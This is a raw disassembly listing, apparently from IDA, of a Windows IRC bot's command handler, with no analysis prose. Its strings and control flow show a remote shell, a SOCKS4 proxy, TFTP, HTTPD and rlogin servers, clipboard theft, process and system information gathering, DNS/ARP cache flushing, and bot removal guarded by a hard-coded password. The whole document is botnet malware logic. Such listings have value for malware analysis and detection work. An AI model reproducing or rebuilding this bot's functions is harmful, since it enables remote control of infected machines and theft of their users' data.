lea eax, [ebp+var_2E0] push offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan thread, er"... push eax call sub_412BB5 add esp, 0Ch loc_40B5A0: ; CODE XREF: sub_4078FA+3CF9j cmp [ebp+var_C], esi jnz short loc_40B5C1 push esi push [ebp+var_4] lea eax, [ebp+var_2E0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_4045DD add esp, 14h loc_40B5C1: ; CODE XREF: sub_4078FA+3CA9j lea eax, [ebp+var_2E0] push eax call sub_401C33 pop ecx loc_40B5CE: ; CODE XREF: sub_4078FA+3A52j add [ebp+var_1C], 0Bh mov eax, [ebp+var_1C] cmp byte ptr [eax], 0 jnz loc_40B301 jmp loc_407B7B ; --------------------------------------------------------------------------- loc_40B5E3: ; CODE XREF: sub_4078FA+3CF7j push 32h call ds:dword_41F000 loc_40B5EB: ; CODE XREF: sub_4078FA+3C89j cmp [ebp+var_4B4], esi jz short loc_40B5E3 jmp short loc_40B5A0 ; --------------------------------------------------------------------------- loc_40B5F5: ; CODE XREF: sub_4078FA+3AF0j lea eax, [ebp+var_2E0] push offset aScanFailedTo_1 ; "[SCAN]: Failed to start scan, port is i"... push eax call sub_412BB5 pop ecx pop ecx jmp loc_40CA03 ; --------------------------------------------------------------------------- loc_40B60D: ; CODE XREF: sub_4078FA+1830j ; sub_4078FA+1844j push 5 call sub_4110DA test eax, eax pop ecx jle short loc_40B631 push offset aTftpAlreadyRun ; "[TFTP]: Already running." loc_40B61E: ; CODE XREF: sub_4078FA+4E26j lea eax, [ebp+var_2E0] push eax call sub_412BB5 xor edi, edi jmp loc_40C8BE ; --------------------------------------------------------------------------- loc_40B631: ; CODE XREF: sub_4078FA+3D1Dj mov eax, [ebp+ebx+var_A0] xor edi, edi cmp eax, edi mov esi, 104h jz short loc_40B656 push eax lea eax, [ebp+var_74C] push esi push eax call sub_412E0D add esp, 0Ch jmp short loc_40B665 ; --------------------------------------------------------------------------- loc_40B656: ; CODE XREF: sub_4078FA+3D47j push esi lea eax, [ebp+var_74C] push eax push edi call ds:dword_41F010 loc_40B665: ; CODE XREF: sub_4078FA+3D5Aj mov ebx, [ebp+ebx+var_9C] cmp ebx, edi jnz short loc_40B675 mov ebx, offset byte_42AED0 loc_40B675: ; CODE XREF: sub_4078FA+3D74j push ebx lea eax, [ebp+var_648] push esi push eax call sub_412E0D mov eax, dword_42AE44 mov [ebp+var_53C], eax mov eax, [ebp+arg_4] push 7Fh push [ebp+var_9C] mov [ebp+var_750], eax lea eax, [ebp+var_538] push eax mov [ebp+var_540], edi call sub_412C40 mov eax, [ebp+var_4] mov [ebp+var_4B8], eax mov eax, [ebp+var_C] mov [ebp+var_4B4], eax lea eax, [ebp+var_648] push eax lea eax, [ebp+var_74C] push eax push [ebp+var_53C] lea eax, [ebp+var_2E0] push offset aTftpServerStar ; "[TFTP]: Server started on Port: %d, Fil"... push eax call sub_412BB5 push edi lea eax, [ebp+var_2E0] push 5 push eax call sub_410EEA add esp, 38h mov [ebp+var_544], eax lea eax, [ebp+var_18] push eax push edi lea eax, [ebp+var_750] push eax push offset sub_410A22 push edi push edi call ds:dword_41F00C mov ecx, [ebp+var_544] imul ecx, 234h cmp eax, edi mov dword_43434C[ecx], eax jnz short loc_40B757 call ds:dword_41F008 push eax push offset aTftpFailedTo_0 ; "[TFTP]: Failed to start server thread, "... loc_40B73B: ; CODE XREF: sub_4078FA+4F9Cj lea eax, [ebp+var_2E0] push eax call sub_412BB5 add esp, 0Ch jmp loc_40C8C0 ; --------------------------------------------------------------------------- loc_40B74F: ; CODE XREF: sub_4078FA+3E63j push 32h call ds:dword_41F000 loc_40B757: ; CODE XREF: sub_4078FA+3E33j cmp [ebp+var_4B0], edi jz short loc_40B74F jmp loc_40C8C0 ; --------------------------------------------------------------------------- loc_40B764: ; CODE XREF: sub_4078FA+1808j ; sub_4078FA+181Cj mov esi, [ebp+ebx+var_A0] test esi, esi jz short loc_40B783 push esi call sub_412F42 test eax, eax pop ecx jz short loc_40B783 push esi call sub_412F42 pop ecx jmp short loc_40B788 ; --------------------------------------------------------------------------- loc_40B783: ; CODE XREF: sub_4078FA+3E73j ; sub_4078FA+3E7Ej mov eax, dword_42AE48 loc_40B788: ; CODE XREF: sub_4078FA+3E87j mov ebx, [ebp+ebx+var_9C] mov [ebp+var_C24], eax xor eax, eax cmp [ebp+var_448], al setz al xor edi, edi cmp ebx, edi mov [ebp+var_C10], eax jz short loc_40B7BD lea eax, [ebp+var_D28] push ebx push eax call sub_412BB5 pop ecx pop ecx jmp short loc_40B7E8 ; --------------------------------------------------------------------------- loc_40B7BD: ; CODE XREF: sub_4078FA+3EB0j push 104h lea eax, [ebp+var_B74] push eax call ds:dword_41F040 push edi push edi push edi lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_B74] push eax call sub_4141AD add esp, 14h loc_40B7E8: ; CODE XREF: sub_4078FA+3EC1j lea eax, [ebp+var_D28] lea edx, [eax+1] loc_40B7F1: ; CODE XREF: sub_4078FA+3EFCj mov cl, [eax] inc eax test cl, cl jnz short loc_40B7F1 sub eax, edx cmp [ebp+eax+var_D29], 5Ch jnz short loc_40B81D lea eax, [ebp+var_D28] lea edx, [eax+1] loc_40B80D: ; CODE XREF: sub_4078FA+3F18j mov cl, [eax] inc eax test cl, cl jnz short loc_40B80D sub eax, edx and [ebp+eax+var_D29], cl loc_40B81D: ; CODE XREF: sub_4078FA+3F08j push [ebp+var_9C] mov esi, [ebp+arg_4] lea eax, [ebp+var_FB0] push 80h push eax mov [ebp+var_FB4], esi call sub_412E0D mov eax, [ebp+var_C] mov ebx, [ebp+var_4] add esp, 0Ch mov [ebp+var_C14], eax lea eax, [ebp+var_D28] push eax push [ebp+var_C24] mov [ebp+var_C18], ebx push esi call sub_406C33 pop ecx push eax lea eax, [ebp+var_2E0] push offset aHttpdServerLis ; "[HTTPD]: Server listening on IP: %s:%d,"... push eax call sub_412BB5 push edi lea eax, [ebp+var_2E0] push 4 push eax call sub_410EEA add esp, 20h mov [ebp+var_C1C], eax lea eax, [ebp+var_18] push eax push edi lea eax, [ebp+var_FB4] push eax push offset sub_403E06 push edi push edi call ds:dword_41F00C mov ecx, [ebp+var_C1C] imul ecx, 234h cmp eax, edi mov dword_43434C[ecx], eax jnz short loc_40B8D8 call ds:dword_41F008 push eax push offset aHttpdFailedT_1 ; "[HTTPD]: Failed to start server thread,"... jmp loc_40A005 ; --------------------------------------------------------------------------- loc_40B8D0: ; CODE XREF: sub_4078FA+3FE4j push 32h call ds:dword_41F000 loc_40B8D8: ; CODE XREF: sub_4078FA+3FC3j cmp [ebp+var_C08], edi jz short loc_40B8D0 jmp loc_40A014 ; --------------------------------------------------------------------------- loc_40B8E5: ; CODE XREF: sub_4078FA+17E0j ; sub_4078FA+17F4j mov esi, [ebp+ebx+var_A0] test esi, esi jz short loc_40B904 push esi call sub_412F42 test eax, eax pop ecx jz short loc_40B904 push esi call sub_412F42 pop ecx jmp short loc_40B909 ; --------------------------------------------------------------------------- loc_40B904: ; CODE XREF: sub_4078FA+3FF4j ; sub_4078FA+3FFFj mov eax, dword_42AE4C loc_40B909: ; CODE XREF: sub_4078FA+4008j mov [ebp+var_890], eax mov eax, [ebp+ebx+var_9C] xor edi, edi cmp eax, edi jnz short loc_40B922 lea eax, [ebp+var_E0] loc_40B922: ; CODE XREF: sub_4078FA+4020j push eax lea eax, [ebp+var_9D0] push 40h push eax call sub_412E0D mov ebx, [ebp+ebx+var_98] add esp, 0Ch cmp ebx, edi jnz short loc_40B944 mov ebx, 41FA76h loc_40B944: ; CODE XREF: sub_4078FA+4043j push ebx lea eax, [ebp+var_990] push 100h push eax call sub_412E0D push [ebp+var_9C] lea eax, [ebp+var_A50] push 80h push eax call sub_412E0D mov eax, [ebp+var_C] mov esi, [ebp+arg_4] mov ebx, [ebp+var_4] add esp, 18h mov [ebp+var_87C], eax lea eax, [ebp+var_9D0] push eax push [ebp+var_890] mov [ebp+var_A54], esi push esi mov [ebp+var_880], ebx call sub_406C33 pop ecx push eax lea eax, [ebp+var_2E0] push offset aRlogindServerL ; "[RLOGIND]: Server listening on IP: %s:%"... push eax call sub_412BB5 push edi lea eax, [ebp+var_2E0] push 7 push eax call sub_410EEA add esp, 20h mov [ebp+var_88C], eax lea eax, [ebp+var_18] push eax push edi lea eax, [ebp+var_A54] push eax push offset sub_40E219 push edi push edi call ds:dword_41F00C mov ecx, [ebp+var_88C] imul ecx, 234h cmp eax, edi mov dword_43434C[ecx], eax jnz short loc_40BA11 call ds:dword_41F008 push eax push offset aRlogindFailedT ; "[RLOGIND]: Failed to start server threa"... jmp loc_40A005 ; --------------------------------------------------------------------------- loc_40BA09: ; CODE XREF: sub_4078FA+411Dj push 32h call ds:dword_41F000 loc_40BA11: ; CODE XREF: sub_4078FA+40FCj cmp [ebp+var_878], edi jz short loc_40BA09 jmp loc_40A014 ; --------------------------------------------------------------------------- loc_40BA1E: ; CODE XREF: sub_4078FA+17B8j ; sub_4078FA+17CCj mov ebx, [ebp+ebx+var_A0] test ebx, ebx jz short loc_40BA31 push ebx call sub_412F42 jmp short loc_40BA38 ; --------------------------------------------------------------------------- loc_40BA31: ; CODE XREF: sub_4078FA+412Dj push 9 call sub_4110F9 loc_40BA38: ; CODE XREF: sub_4078FA+4135j test eax, eax pop ecx jz loc_40CFE2 push eax push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_4010CA jmp loc_40BF27 ; --------------------------------------------------------------------------- loc_40BA58: ; CODE XREF: sub_4078FA+1790j ; sub_4078FA+17A4j mov eax, dword_433584 test eax, eax jz short loc_40BA7B call eax test eax, eax lea eax, [ebp+var_2E0] jz short loc_40BA74 push offset aFlushdnsDnsCac ; "[FLUSHDNS]: DNS cache flushed." jmp short loc_40BA9C ; --------------------------------------------------------------------------- loc_40BA74: ; CODE XREF: sub_4078FA+4171j push offset aFlushdnsFailed ; "[FLUSHDNS]: Failed to flush DNS cache." jmp short loc_40BA9C ; --------------------------------------------------------------------------- loc_40BA7B: ; CODE XREF: sub_4078FA+4165j push offset aFlushdnsFail_0 ; "[FLUSHDNS]: Failed to load dnsapi.dll." lea eax, [ebp+var_2E0] jmp short loc_40BA9C ; --------------------------------------------------------------------------- loc_40BA88: ; CODE XREF: sub_4078FA+1768j ; sub_4078FA+177Cj call sub_406B55 test eax, eax lea eax, [ebp+var_2E0] jz short loc_40BAAC push offset aFlushdnsArpC_0 ; "[FLUSHDNS]: ARP cache flushed." loc_40BA9C: ; CODE XREF: sub_4078FA+4178j ; sub_4078FA+417Fj ... push 200h push eax call sub_412E0D jmp loc_40C3B3 ; --------------------------------------------------------------------------- loc_40BAAC: ; CODE XREF: sub_4078FA+419Bj push offset aFlushdnsFail_1 ; "[FLUSHDNS]: Failed to flush ARP cache." jmp short loc_40BA9C ; --------------------------------------------------------------------------- loc_40BAB3: ; CODE XREF: sub_4078FA+1740j ; sub_4078FA+1754j cmp [ebp+var_C], 0 jnz short loc_40BAD4 push 0 push [ebp+var_4] push offset aClipboardData ; "-[Clipboard Data]-" push [ebp+var_9C] push [ebp+arg_4] call sub_4045DD add esp, 14h loc_40BAD4: ; CODE XREF: sub_4078FA+41BDj push 0 push [ebp+var_4] call sub_405792 push eax push [ebp+var_9C] push [ebp+arg_4] call sub_4045DD push offset aMainGetClipboa ; "[MAIN]: Get Clipboard." jmp loc_40BDF0 ; --------------------------------------------------------------------------- loc_40BAF7: ; CODE XREF: sub_4078FA+13B1j ; sub_4078FA+13C5j push 8 call sub_4110DA test eax, eax pop ecx jle short loc_40BB0D push offset aCmdRemoteShell ; "[CMD]: Remote shell already running." jmp loc_40B1A8 ; --------------------------------------------------------------------------- loc_40BB0D: ; CODE XREF: sub_4078FA+4207j push [ebp+var_9C] push [ebp+arg_4] call sub_40DDC6 cmp eax, 0FFFFFFFFh pop ecx pop ecx jnz short loc_40BB2C push offset aCmdCouldnTOpen ; "[CMD]: Couldn't open remote shell." jmp loc_40B1A8 ; --------------------------------------------------------------------------- loc_40BB2C: ; CODE XREF: sub_4078FA+4226j push offset aCmdRemoteShe_0 ; "[CMD]: Remote shell ready." jmp loc_40B1A8 ; --------------------------------------------------------------------------- loc_40BB36: ; CODE XREF: sub_4078FA+1389j ; sub_4078FA+139Dj push [ebp+var_C] push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_405277 jmp loc_40BE11 ; --------------------------------------------------------------------------- loc_40BB4F: ; CODE XREF: sub_4078FA+1361j ; sub_4078FA+1375j push [ebp+ebx+var_A0] push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_402717 jmp loc_40BE11 ; --------------------------------------------------------------------------- loc_40BB6C: ; CODE XREF: sub_4078FA+1339j ; sub_4078FA+134Dj or esi, 0FFFFFFFFh call ds:dword_41F004 xor edx, edx mov ecx, 3E8h div ecx mov ebx, [ebp+ebx+var_A0] test ebx, ebx mov edi, eax jz short loc_40BB94 push ebx call sub_412F42 pop ecx mov esi, eax loc_40BB94: ; CODE XREF: sub_4078FA+428Fj xor edx, edx mov eax, edi mov ecx, 15180h div ecx cmp eax, esi jnb short loc_40BBAC cmp esi, 0FFFFFFFFh jnz loc_40CFE2 loc_40BBAC: ; CODE XREF: sub_4078FA+42A7j push 0 call sub_40FD16 push eax lea eax, [ebp+var_2E0] push offset aMainUptimeS_ ; "[MAIN]: Uptime: %s." push eax call sub_412BB5 push 0 push [ebp+var_4] lea eax, [ebp+var_2E0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_4045DD lea eax, [ebp+var_2E0] push eax call sub_401C33 loc_40BBEB: ; CODE XREF: sub_4078FA+2412j add esp, 28h jmp loc_40CFE2 ; --------------------------------------------------------------------------- loc_40BBF3: ; CODE XREF: sub_4078FA+1311j ; sub_4078FA+1325j push 1Fh call sub_4110DA test eax, eax pop ecx jle short loc_40BC29 cmp [ebp+var_C], 0 jnz loc_407B7B push 0 push [ebp+var_4] push offset aProcAlreadyRun ; "[PROC]: Already running." loc_40BC13: ; CODE XREF: sub_4078FA+1F21j push [ebp+var_9C] push [ebp+arg_4] call sub_4045DD add esp, 14h jmp loc_407B7B ; --------------------------------------------------------------------------- loc_40BC29: ; CODE XREF: sub_4078FA+4303j push [ebp+var_9C] lea eax, [ebp+var_440] push 80h push eax call sub_412E0D mov eax, [ebp+arg_4] mov ebx, [ebp+ebx+var_A0] and [ebp+var_3BC], 0 mov [ebp+var_444], eax mov eax, [ebp+var_4] mov [ebp+var_3B8], eax mov eax, [ebp+var_C] add esp, 0Ch test ebx, ebx mov [ebp+var_3B4], eax jz short loc_40BC8A push 5 mov edi, ebx mov esi, offset aFull ; "full" pop ecx xor eax, eax repe cmpsb jnz short loc_40BC8A mov [ebp+var_3BC], 1 loc_40BC8A: ; CODE XREF: sub_4078FA+4374j ; sub_4078FA+4384j lea eax, [ebp+var_2E0] push offset aProcsProccessL ; "[PROCS]: Proccess list." push eax call sub_412BB5 xor esi, esi push esi lea eax, [ebp+var_2E0] push 1Fh push eax call sub_410EEA add esp, 14h mov [ebp+var_3C0], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_444] push eax push offset sub_4073FB push esi push esi call ds:dword_41F00C mov ecx, [ebp+var_3C0] imul ecx, 234h cmp eax, esi mov dword_43434C[ecx], eax jnz short loc_40BD0C call ds:dword_41F008 push eax lea eax, [ebp+var_2E0] push offset aProcsFailedToS ; "[PROCS]: Failed to start listing thread"... push eax call sub_412BB5 add esp, 0Ch jmp loc_40ABEA ; --------------------------------------------------------------------------- loc_40BD04: ; CODE XREF: sub_4078FA+4418j push 32h call ds:dword_41F000 loc_40BD0C: ; CODE XREF: sub_4078FA+43E8j cmp [ebp+var_3B0], esi jz short loc_40BD04 jmp loc_40ABEA ; --------------------------------------------------------------------------- loc_40BD19: ; CODE XREF: sub_4078FA+12E9j ; sub_4078FA+12FDj mov ebx, [ebp+ebx+var_A0] test ebx, ebx jz loc_407B7B mov esi, ebx mov eax, offset aN3m3s1s ; "n3m3s1s" loc_40BD2F: ; CODE XREF: sub_4078FA+4451j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_40BD51 test cl, cl jz short loc_40BD4D mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_40BD51 inc eax inc eax inc esi inc esi test cl, cl jnz short loc_40BD2F loc_40BD4D: ; CODE XREF: sub_4078FA+443Fj xor eax, eax jmp short loc_40BD56 ; --------------------------------------------------------------------------- loc_40BD51: ; CODE XREF: sub_4078FA+443Bj ; sub_4078FA+4449j sbb eax, eax sbb eax, 0FFFFFFFFh loc_40BD56: ; CODE XREF: sub_4078FA+4455j test eax, eax jnz loc_407B7B cmp [ebp+var_C], eax jnz short loc_40BD7D push eax push [ebp+var_4] push offset aMainRemovingBo ; "[MAIN]: Removing Bot." push [ebp+var_9C] push [ebp+arg_4] call sub_4045DD add esp, 14h loc_40BD7D: ; CODE XREF: sub_4078FA+4467j push [ebp+arg_4] call dword_4335AC call dword_4335B8 call sub_405915 jmp loc_40C4C6 ; --------------------------------------------------------------------------- loc_40BD96: ; CODE XREF: sub_4078FA+12C1j ; sub_4078FA+12D5j push 0 push [ebp+var_4] lea eax, [ebp+var_2E0] push [ebp+arg_4] push eax call sub_40FE1F pop ecx pop ecx push eax push [ebp+var_9C] push [ebp+arg_4] call sub_4045DD push offset aMainSystemInfo ; "[MAIN]: System Info." jmp short loc_40BDF0 ; --------------------------------------------------------------------------- loc_40BDC2: ; CODE XREF: sub_4078FA+1299j ; sub_4078FA+12ADj push 0 push [ebp+var_4] lea eax, [ebp+var_2E0] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_410086 add esp, 0Ch push eax push [ebp+var_9C] push [ebp+arg_4] call sub_4045DD push offset aMainNetworkInf ; "[MAIN]: Network Info." loc_40BDF0: ; CODE XREF: sub_4078FA+41F8j ; sub_4078FA+44C6j call sub_401C33 loc_40BDF5: ; CODE XREF: sub_4078FA+3006j add esp, 18h jmp loc_40CFE2 ; --------------------------------------------------------------------------- loc_40BDFD: ; CODE XREF: sub_4078FA+1271j ; sub_4078FA+1285j push [ebp+var_C] push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_401CD3 loc_40BE11: ; CODE XREF: sub_4078FA+1E2j ; sub_4078FA+4250j ... add esp, 10h jmp loc_407B7B ; --------------------------------------------------------------------------- loc_40BE19: ; CODE XREF: sub_4078FA+1249j ; sub_4078FA+125Dj and [ebp+var_B00], 0 cmp [ebp+var_14], 0 jz short loc_40BE5A mov ebx, [ebp+ebx+var_A0] test ebx, ebx jz short loc_40BE5A push ebx push [ebp+var_14] call sub_413920 test eax, eax pop ecx pop ecx jz short loc_40BE5A push eax push offset aS_1 ; "%s" lea eax, [ebp+var_B00] push 80h push eax call sub_412E0D add esp, 10h loc_40BE5A: ; CODE XREF: sub_4078FA+452Aj ; sub_4078FA+4535j ... push [ebp+var_9C] lea eax, [ebp+var_B80] push 80h push eax call sub_412E0D mov eax, [ebp+arg_4] mov [ebp+var_B84], eax mov eax, [ebp+var_4] mov [ebp+var_A7C], eax mov eax, [ebp+var_C] mov [ebp+var_A78], eax lea eax, [ebp+var_2E0] push offset aLogListingLog_ ; "[LOG]: Listing log." push eax call sub_412BB5 xor esi, esi push esi lea eax, [ebp+var_2E0] push 1Dh push eax call sub_410EEA add esp, 20h mov [ebp+var_A80], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_B84] push eax push offset sub_401D45 push esi push esi call ds:dword_41F00C mov ecx, [ebp+var_A80] imul ecx, 234h cmp eax, esi mov dword_43434C[ecx], eax jnz short loc_40BEFF call ds:dword_41F008 push eax push offset aLogFailedToSta ; "[LOG]: Failed to start listing thread, "... jmp loc_40D19B ; --------------------------------------------------------------------------- loc_40BEF7: ; CODE XREF: sub_4078FA+460Bj push 32h call ds:dword_41F000 loc_40BEFF: ; CODE XREF: sub_4078FA+45EAj cmp [ebp+var_A74], esi jz short loc_40BEF7 jmp loc_407B7B ; --------------------------------------------------------------------------- loc_40BF0C: ; CODE XREF: sub_4078FA+1221j ; sub_4078FA+1235j push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_401BBB push offset aMainAliasList_ ; "[MAIN]: Alias list." call sub_401C33 loc_40BF27: ; CODE XREF: sub_4078FA+4159j add esp, 10h jmp loc_40CFE2 ; --------------------------------------------------------------------------- loc_40BF2F: ; CODE XREF: sub_4078FA+11F9j ; sub_4078FA+120Dj push [ebp+var_9C] lea eax, [ebp+var_374] push 80h push eax call sub_412E0D mov eax, [ebp+arg_4] mov ebx, [ebp+ebx+var_A0] mov [ebp+var_378], eax mov eax, [ebp+var_4] mov [ebp+var_2EC], eax mov eax, [ebp+var_C] add esp, 0Ch test ebx, ebx mov [ebp+var_2E8], eax jz short loc_40BF88 push 4 xor eax, eax mov edi, offset aSub ; "sub" mov esi, ebx pop ecx repe cmpsb setz al mov [ebp+var_2F0], eax jmp short loc_40BF8F ; --------------------------------------------------------------------------- loc_40BF88: ; CODE XREF: sub_4078FA+4673j and [ebp+var_2F0], 0 loc_40BF8F: ; CODE XREF: sub_4078FA+468Cj lea eax, [ebp+var_2E0] push offset aThreadsListThr ; "[THREADS]: List threads." push eax call sub_412BB5 xor esi, esi push esi lea eax, [ebp+var_2E0] push 20h push eax call sub_410EEA add esp, 14h mov [ebp+var_2F4], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_378] push eax push offset sub_4111EB push esi push esi call ds:dword_41F00C mov ecx, [ebp+var_2F4] imul ecx, 234h cmp eax, esi mov dword_43434C[ecx], eax jnz short loc_40C011 call ds:dword_41F008 push eax lea eax, [ebp+var_2E0] push offset aThreadsFaile_0 ; "[THREADS]: Failed to start list thread,"... push eax call sub_412BB5 add esp, 0Ch jmp loc_409015 ; --------------------------------------------------------------------------- loc_40C009: ; CODE XREF: sub_4078FA+471Dj push 32h call ds:dword_41F000 loc_40C011: ; CODE XREF: sub_4078FA+46EDj cmp [ebp+var_2E4], esi jz short loc_40C009 jmp loc_409015 ; --------------------------------------------------------------------------- loc_40C01E: ; CODE XREF: sub_4078FA+117Fj ; sub_4078FA+1193j push offset aBot018 ; "Bot018" lea eax, [ebp+var_2E0] push offset aMainBotIdS_ ; "[MAIN]: Bot ID: %s." push eax call sub_412BB5 push 0 push [ebp+var_4] lea eax, [ebp+var_2E0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_4045DD add esp, 20h jmp loc_409015 ; --------------------------------------------------------------------------- loc_40C056: ; CODE XREF: sub_4078FA+1157j ; sub_4078FA+116Bj push dword_479BB0 call sub_40FD16 push eax lea eax, [ebp+var_2E0] push offset aMainStatusRead ; "[MAIN]: Status: Ready. Bot Uptime: %s." push eax call sub_412BB5 push 0 push [ebp+var_4] lea eax, [ebp+var_2E0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_4045DD add esp, 24h jmp loc_409015 ; --------------------------------------------------------------------------- loc_40C095: ; CODE XREF: sub_4078FA+112Fj ; sub_4078FA+1143j mov ebx, [ebp+ebx+var_A0] test ebx, ebx jz short loc_40C0C8 cmp [ebp+var_14], 0 jz short loc_40C0D7 push ebx push [ebp+var_14] call sub_413920 test eax, eax pop ecx pop ecx jz short loc_40C0D7 push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_404592 add esp, 0Ch jmp short loc_40C0D7 ; --------------------------------------------------------------------------- loc_40C0C8: ; CODE XREF: sub_4078FA+47A4j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_404592 pop ecx pop ecx loc_40C0D7: ; CODE XREF: sub_4078FA+47AAj ; sub_4078FA+47B9j ... push 0FFFFFFFEh pop eax jmp loc_407B7E ; --------------------------------------------------------------------------- loc_40C0DF: ; CODE XREF: sub_4078FA+1107j ; sub_4078FA+111Bj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_404592 push offset aMainDisconnect ; "[MAIN]: Disconnecting." call sub_401C33 add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_407B7E ; --------------------------------------------------------------------------- loc_40C101: ; CODE XREF: sub_4078FA+10DFj ; sub_4078FA+10F3j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_404592 push offset aMainReconnecti ; "[MAIN]: Reconnecting." call sub_401C33 add esp, 0Ch xor eax, eax jmp loc_407B7E ; --------------------------------------------------------------------------- loc_40C122: ; CODE XREF: sub_4078FA+10B7j ; sub_4078FA+10CBj push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_401000 loc_40C133: ; CODE XREF: sub_4078FA+2F6Dj add esp, 0Ch jmp loc_40CFE2 ; --------------------------------------------------------------------------- loc_40C13B: ; CODE XREF: sub_4078FA+1017j ; sub_4078FA+102Bj push [ebp+ebx+var_A0] push 1Fh push offset aProcessList ; "Process list" push offset aProc ; "[PROC]" loc_40C14E: ; CODE XREF: sub_4078FA+E54j ; sub_4078FA+E7Cj ... push [ebp+var_C] push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] call sub_411120 add esp, 20h jmp loc_407B7B ; --------------------------------------------------------------------------- loc_40C16A: ; CODE XREF: sub_4078FA+E17j ; sub_4078FA+E2Bj mov esi, [ebp+ebx+var_A0] test esi, esi jz short loc_40C189 push esi call sub_412F42 test eax, eax pop ecx jz short loc_40C189 push esi call sub_412F42 pop ecx jmp short loc_40C18E ; --------------------------------------------------------------------------- loc_40C189: ; CODE XREF: sub_4078FA+4879j ; sub_4078FA+4884j mov eax, dword_42AE40 loc_40C18E: ; CODE XREF: sub_4078FA+488Dj mov ebx, [ebp+ebx+var_9C] xor edi, edi cmp ebx, edi mov [ebp+var_2FC], eax jz short loc_40C1B5 push ebx loc_40C1A2: ; CODE XREF: sub_4078FA+48CBj lea eax, [ebp+var_30C] push 10h push eax call sub_412E0D add esp, 0Ch jmp short loc_40C1CE ; --------------------------------------------------------------------------- loc_40C1B5: ; CODE XREF: sub_4078FA+48A5j cmp [ebp+var_44B], 0 jz short loc_40C1C7 lea eax, [ebp+var_E0] push eax jmp short loc_40C1A2 ; --------------------------------------------------------------------------- loc_40C1C7: ; CODE XREF: sub_4078FA+48C2j and [ebp+var_30C], 0 loc_40C1CE: ; CODE XREF: sub_4078FA+48B9j mov eax, [ebp+var_4] push [ebp+var_9C] mov esi, [ebp+arg_4] mov [ebp+var_2F0], eax mov eax, [ebp+var_C] mov [ebp+var_2EC], eax lea eax, [ebp+var_38C] push 80h push eax mov [ebp+var_390], esi call sub_412E0D add esp, 0Ch push [ebp+var_2FC] push esi call sub_406C33 pop ecx push eax lea eax, [ebp+var_2E0] push offset aSocks4ServerSt ; "[SOCKS4]: Server started on: %s:%d." push eax call sub_412BB5 push edi lea eax, [ebp+var_2E0] push 12h push eax call sub_410EEA add esp, 1Ch mov [ebp+var_2F8], eax lea eax, [ebp+var_18] push eax push edi lea eax, [ebp+var_390] push eax push offset sub_40FB2A push edi push edi call ds:dword_41F00C mov ecx, [ebp+var_2F8] imul ecx, 234h cmp eax, edi mov dword_43434C[ecx], eax jnz short loc_40C282 call ds:dword_41F008 push eax push offset aSocks4FailedTo ; "[SOCKS4]: Failed to start server thread"... jmp loc_40D19B ; --------------------------------------------------------------------------- loc_40C27A: ; CODE XREF: sub_4078FA+498Ej push 32h call ds:dword_41F000 loc_40C282: ; CODE XREF: sub_4078FA+496Dj cmp [ebp+var_2E8], edi jz short loc_40C27A jmp loc_407B7B ; --------------------------------------------------------------------------- loc_40C28F: ; CODE XREF: sub_4078FA+DC7j ; sub_4078FA+DDBj ... push 7 mov edi, eax mov esi, offset aSecure ; "secure" pop ecx xor edx, edx repe cmpsb jz short loc_40C2B7 mov edi, eax push 4 mov esi, offset aSec ; "sec" pop ecx xor eax, eax repe cmpsb jz short loc_40C2B7 and [ebp+var_3BC], eax jmp short loc_40C2C1 ; --------------------------------------------------------------------------- loc_40C2B7: ; CODE XREF: sub_4078FA+49A3j ; sub_4078FA+49B3j mov [ebp+var_3BC], 1 loc_40C2C1: ; CODE XREF: sub_4078FA+49BBj push [ebp+var_9C] lea eax, [ebp+var_440] push 80h push eax call sub_412E0D mov eax, [ebp+arg_4] mov [ebp+var_444], eax mov eax, [ebp+var_4] mov [ebp+var_3B8], eax mov eax, [ebp+var_C] xor esi, esi add esp, 0Ch cmp [ebp+var_3BC], esi mov [ebp+var_3B4], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40C30A mov eax, offset aUnsecuring ; "Unsecuring" loc_40C30A: ; CODE XREF: sub_4078FA+4A09j push eax push offset aSecureSSystem_ ; "[SECURE]: %s system." lea eax, [ebp+var_2E0] push 200h push eax call sub_412E0D push esi lea eax, [ebp+var_2E0] push 1Ah push eax call sub_410EEA add esp, 1Ch mov [ebp+var_3C0], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_444] push eax push offset sub_40F023 push esi push esi call ds:dword_41F00C mov ecx, [ebp+var_3C0] imul ecx, 234h cmp eax, esi mov dword_43434C[ecx], eax jnz short loc_40C390 call ds:dword_41F008 push eax lea eax, [ebp+var_2E0] push offset aSecureFailedTo ; "[SECURE]: Failed to start secure thread"... push eax call sub_412BB5 add esp, 0Ch jmp loc_40C4A1 ; --------------------------------------------------------------------------- loc_40C388: ; CODE XREF: sub_4078FA+4A9Cj push 32h call ds:dword_41F000 loc_40C390: ; CODE XREF: sub_4078FA+4A6Cj cmp [ebp+var_3B0], esi jz short loc_40C388 jmp loc_40C4A1 ; --------------------------------------------------------------------------- loc_40C39D: ; CODE XREF: sub_4078FA+D9Fj ; sub_4078FA+DB3j push offset aBot0_018 ; "[Bot 0.018]" lea eax, 